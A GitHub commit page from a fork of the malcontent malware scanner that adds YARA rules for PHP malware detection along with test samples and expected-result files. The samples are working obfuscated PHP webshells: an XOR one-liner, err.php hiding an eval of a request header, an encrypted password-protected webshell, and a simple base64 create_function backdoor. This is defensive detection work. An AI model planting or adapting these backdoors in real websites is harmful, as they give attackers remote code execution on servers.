forked from chainguard-dev/malcontent
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Improve PHP malware detection (add php-malware-finder) (chainguard-de…
…v#247) * Improve PHP malware detection (add php-malware-finder) * Improve detection of err.php webshell
- Loading branch information
1 parent
9e2f2ac
commit af9907b
Showing
27 changed files
with
1,644 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
rule base64_str_replace : critical { | ||
meta: | ||
description = "creatively hidden forms of the term 'base64'" | ||
strings: | ||
$a = /\wba\ws\we64/ | ||
$b = /\wb\wa\ws\we\w6\w4/ | ||
$c = /\wb\wa\wse\w6\w4/ | ||
condition: | ||
any of them | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
rule php_no_time_limit : medium { | ||
meta: | ||
description = "disables execution time limit" | ||
strings: | ||
$ref = "set_time_limit(0)" | ||
condition: | ||
$ref | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
https://stackoverflow.com/questions/57783589/is-that-some-kind-of-php-backdoor |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
<? $_="{"; | ||
$_=($_^"<").($_^">").($_^"/");?> | ||
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
<?php | ||
@ini_set('output_buffering',0);@ini_set('display_errors', 0);@ini_set('output_buffering',0);@ini_set('display_errors', 0); | ||
try{ | ||
function m(){ | ||
$a = "sfdtfdrf"; | ||
$b = "d_fdrfdefdpf"; | ||
return str_replace("fd", "", $a.$b."dlfdafdcfde"); | ||
} | ||
$c = time(); | ||
$d = $c; | ||
if($c/$d-1===1 || !isset($_GET['c'])){ | ||
echo 'Error in page'; | ||
}else{ | ||
throw new Exception($err, 114); | ||
} | ||
}catch(Exception $e){ | ||
$f = "fU0leVSVkVS"; | ||
$g = "IEBldmFsKCR"; | ||
$h = "WydIVFRQX0F"; | ||
$i = "DQ0VleQVCddKTs="; | ||
$j = m(); | ||
$k = $j("z", "", "zbazsze64"."_zdzeczodze"); | ||
$l = $j("p", "", "pcprpepaptpe_fp"."upnpcptpipopn"); | ||
$z = $l('', $k( $j( "le", "", $g . $f . $h . $i))); | ||
for($i=1;$i<=2;$i=$i+2){$z();}} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
# PHP/2024.Inull-Studio/err.php | ||
combo/backdoor/php | ||
evasion/base64/hidden | ||
evasion/script/obfuscation |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
<?php | ||
@session_start(); | ||
@set_time_limit(0); | ||
@error_reporting(0); | ||
function ee($D,$K){ | ||
for($i=0;$i<strlen($D);$i++) { | ||
$c = $K[$i+1&15]; | ||
$D[$i] = $D[$i]^$c; | ||
} | ||
return $D; | ||
} | ||
function r(){ | ||
$a = "sfdtfdrf"; | ||
$b = "d_fdrfdefdpf"; | ||
return str_replace("fd", "", $a.$b."dlfdafdcfde"); | ||
} | ||
$pass='password114'; | ||
$payloadName='payload'; | ||
$key='32150285b345c48a'; | ||
//$key='1145141919810' | ||
try{ | ||
$c = time(); | ||
$d = $c; | ||
if($c/$d-1===1 || !isset($_POST[$pass])){ | ||
echo 'Error in page'; | ||
}else{ | ||
throw new Exception($err, 114); | ||
} | ||
}catch(Exception $e){ | ||
if (isset($_POST[$pass])){ | ||
$data=ee(base64_decode($_POST[$pass]),$key); | ||
if (isset($_SESSION[$payloadName])){ | ||
$payload=ee($_SESSION[$payloadName],$key); | ||
if (strpos($payload,"getBasicsInfo")===false){ | ||
$payload=ee($payload,$key); | ||
} | ||
$re = r(); | ||
$k = $re("z", "", "zbazsze64"."_zdzeczodze"); | ||
$l = $re("p", "", "pcprpepaptpe_fp"."upnpcptpipopn"); | ||
$f = $l('$payload', $k('ZXZhbCgkcGF5bG9hZCk7')); | ||
$f($payload); | ||
echo substr(md5($pass.$key),0,16); | ||
echo base64_encode(ee(@run($data),$key)); | ||
echo substr(md5($pass.$key),16); | ||
}else{ | ||
if (strpos($data,"getBasicsInfo")!==false){ | ||
$_SESSION[$payloadName]=ee($data,$key); | ||
} | ||
} | ||
} | ||
} |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
# PHP/2024.S3RV4N7-SHELL/crot.php | ||
3P/php-malware/nonprintablechars | ||
3P/php-malware/obfuscatedphp | ||
3P/php-malware/websites | ||
3P/signature_base/webshell/php | ||
combo/backdoor/php | ||
encoding/base64 | ||
evasion/base64/decode | ||
ref/site/url | ||
techniques/code_eval |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
<!-- from https://malcure.com/blog/security/php-backdoor-101/ --> | ||
<?php | ||
if(!empty($_REQUEST['fcb'])){$fcb=base64_decode($_REQUEST['fcb']);$fcb=create_function('',$fcb);@$fcb();exit;} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
# PHP/2024.malcure/simple.php | ||
3P/signature_base/webshell/php | ||
encoding/base64 | ||
evasion/base64/decode | ||
ref/site/url | ||
techniques/code_eval |
Oops, something went wrong.